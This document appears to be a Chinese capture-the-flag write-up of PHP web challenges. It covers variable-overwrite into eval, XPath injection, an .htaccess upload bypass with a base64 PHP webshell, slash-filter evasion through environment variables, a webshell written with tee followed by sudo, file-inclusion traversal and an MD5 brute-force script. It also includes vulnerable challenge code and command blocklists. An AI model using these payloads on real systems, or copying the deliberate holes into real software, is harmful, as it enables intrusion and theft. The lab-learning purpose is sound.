$forbidden_commands = ['cat', 'less', 'more', 'head', 'tail', 'nl', 'strings', 'awk', 'sed', 'dd', 'xxd'];

// 检查输入的命令是否包含被禁止的关键字
foreach ($forbidden_commands as $forbidden) {
if (preg_match("/\b$forbidden\b/i", $command)) {
die("禁止使用此命令: $forbidden");
}
}

// 对命令进行转义以增强安全性
$command = escapeshellcmd($command);

// 执行命令并显示输出
$output = shell_exec($command);
echo "<pre>$output</pre>";
}
?>

困难

PHP是世界上最好的语言(php特性)

<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']); //获取url中变量并将其解析
extract($_POST); //从数组中把变量导入到当前的符号表中
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");

}
}
}
?>

先用fuzz测试下哪些字符未被过滤

<?php
for($i=32;$i<=126;$i++)
{
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/",chr($i)))
{
echo chr($i);
}
}
?>
//$&()0123456789:;<>ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz|

因此使用变量覆盖

GET:_POST[flag1]=8gen1&_POST[flag2]=8gen1
POST:504[SYS.COM=111&sys=echo $flag;
注:在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。

注入(XPATH注入)

尝试sql注入和ssti注入

id=1  //0: Alan
id=2 //0: Bob
id=2-1 //无回显,即为字符型

但是这里试了很久都没结果,看了wp才知道是XPATH注入,尝试XPATH注入万能密码?id=']|//\*|//\*[',注入传参时要传入未被url编码的

image-20250327091243635

上传(文件上传)

  • 不允许php文件上传,php2、php5、以及phtml也都被过滤了
  • 文件内容处过滤了<?、file

针对以上的过滤,可以采取.users.ini.htacess文件进行绕过,.user.ini使用成功的前提是服务器开启了CGI或者``FastCGI,并且上传文件的存储路径下有index.php可执行文件,由于该路径下不存在index.php文件,所以这题使用.htacess`文件进行绕过

.htaccess如下

AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=1.jpg"
  • 上述的内容中存在file会被过滤掉,可以采取\反斜杠+换行的方式绕过
  • 为什么需要解码???,是为了绕过被过滤的<?

上传后再上传base64编码后的1.jpg文件,内容如下

PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

image-20250401231742102

任务cmd(命令执行)

进去看到源码注释有东西(其实并没用),扫目录找到/new/file/upload.php根据题目要求用cmd执行命令即可

image-20250402113603997

坦诚相见(过滤/)

ls然后cat no*获得源码

<?php
function containsPathTraversal($input) {
$patterns = [
'/\.\.\//',
'/\/\//',
'/\%2e\%2e\//',
'/\%2E\%2E\\/',
'/flag/',
'/\//',
'/>/'
];

foreach ($patterns as $pattern) {
if (preg_match($pattern, $input)) {
return true;
}
}
return false;
}
if (isset($_POST['rce']) && containsPathTraversal($_POST['rce'])) {
die('不不不,我也有底线的,至少在这个文件夹内,你随意');
}
?>

禁用如下

../
//
flag
/
>

利用环境变量绕过/

rce=ls ${PWD::${#SHLVL}}
rce=cat ${PWD::${#SHLVL}}fl*

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。只需要${PWD::${SHLVL}},结果就是/

但是这里读不出flag,猜测要提权,那就只能写马了。通过转义符\绕过$的过滤

echo "<?=eval(\$_POST["123"]);" | tee 1.php

image-20250402130048705

连接后sudo读取flag

image-20250402130157365

毒鸡汤(文件包含)

扫目录找到一堆东西,先访问www.zip

image-20250402130450598

在下载源码中看到hint.txt提示flag在根目录

index.php中找到文件包含漏洞

<?php 
$filename = $_GET['readfile'];
if ($filename){
include($filename);
}
?>

直接data伪协议试试

GET:readfile=php://filter/read=convert.base64-encode/resource=/flag
或者
GET:readfile=../../../../../../../../flag

veryphp(php特性-正则匹配,函数回调)

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
  • 第一个preg_match过滤的是str,因为不可控所以不考虑

  • 第二个preg_match是匹配正则

  • $shaw_root参数要满足以上两个preg_match,并且长度要为29才能输出hint

  • ans 参数值要等于hint里面的ans参数值要等于hint里面的ans参数值要等于hint里面的SecretNumber值

  • call_user_func()回调函数,也就是$my_ans要调用类的方法

根据上述分析,首先是绕过第一个preg_match,也就是shaw_rootmy_ans不能存在下划线,这里可以利用一个特性,在传入一些非法字符的时候php会把它解析为下划线_,例如空格、+以及[

第二步是shaw_root匹配正则

^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$
^表示的是正则表达式开始的位置
-表示-
[a-e]表示选其中的一个字母
[^a-zA-Z0-8]表示匹配不属于这里面的数
<b>表示<b>
(.*)表示除换行符 \n 之外的任何单字符,然后有0次或多次
> {4}表示限定出现4次>
\D*表示匹配非数字
?表示匹配前面的子表达式零次或一次类似于{0,1}
(abc.*?)表示匹配abc
p(hp)*表示匹配了php
@R表示传入@R
(s|r)表示传入s或r
.表示除换行符 \n 之外的任何单字符
$表示正则表达式的结束符号

匹配正则可以使用这个在线网站regex

最终结果

shaw[root=-a9<b>11111111>>>>aabcphp@Rs1

image-20250403091830403

注意这里在传参时不能使用hackbar,hackbar在传参时会先url编码一次,所以应该直接抓包传参

传参后获得hint如下

Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

写脚本爆破就行

import hashlib
import itertools

def crack_password():
# 明确SecretNumber是5位纯数字
chars = '0123456789' # 仅数字
target_hash = "166b47a5cb1ca2431a0edfcef200684f" # 注意:原题哈希可能有拼写错误?需确认

# 固定循环长度为5
for candidate in itertools.product(chars, repeat=5):
secret_number = ''.join(candidate)
password = f"shaw{secret_number}root" # 拼接完整字符串

# 计算MD5
md5_hash = hashlib.md5(password.encode()).hexdigest()

if md5_hash == target_hash:
print(f"爆破成功!密码为: {password}")
print(f"对应MD5哈希: {md5_hash}")
return

if __name__ == '__main__':
crack_password()

image-20250403094353932

最后传参为

shaw[root=-a9<b>11111111>>>>aabcphp@Rs1&ans=21475&my[ans=qwq::oao

image-20250403094738693

关于call_user_func()函数

//1.可以用array(__NAMESPACE__.'\类名','方法名')传递类方法,也就是:array('命名空间\类名','方法名')

$return = call_user_func(array(类名,方法名),参数);

//2.可以用···· __NAMESPACE__.'\类名::方法名' ···传递类方法,也就是:'命名空间\类名::方法名'

$return1 = call_user_func(类名::方法,参数);